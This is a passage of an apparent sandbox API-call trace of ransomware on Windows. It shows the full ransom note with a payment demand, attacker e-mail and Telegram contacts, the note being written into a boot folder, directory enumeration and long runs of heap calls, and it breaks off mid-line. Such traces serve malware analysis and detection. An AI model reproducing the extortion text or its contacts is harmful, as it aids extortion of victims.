returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.697] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.697] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.697] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.697] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.697] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.697] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.697] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.697] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.697] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.698] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.698] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.704] HeapFree (in: 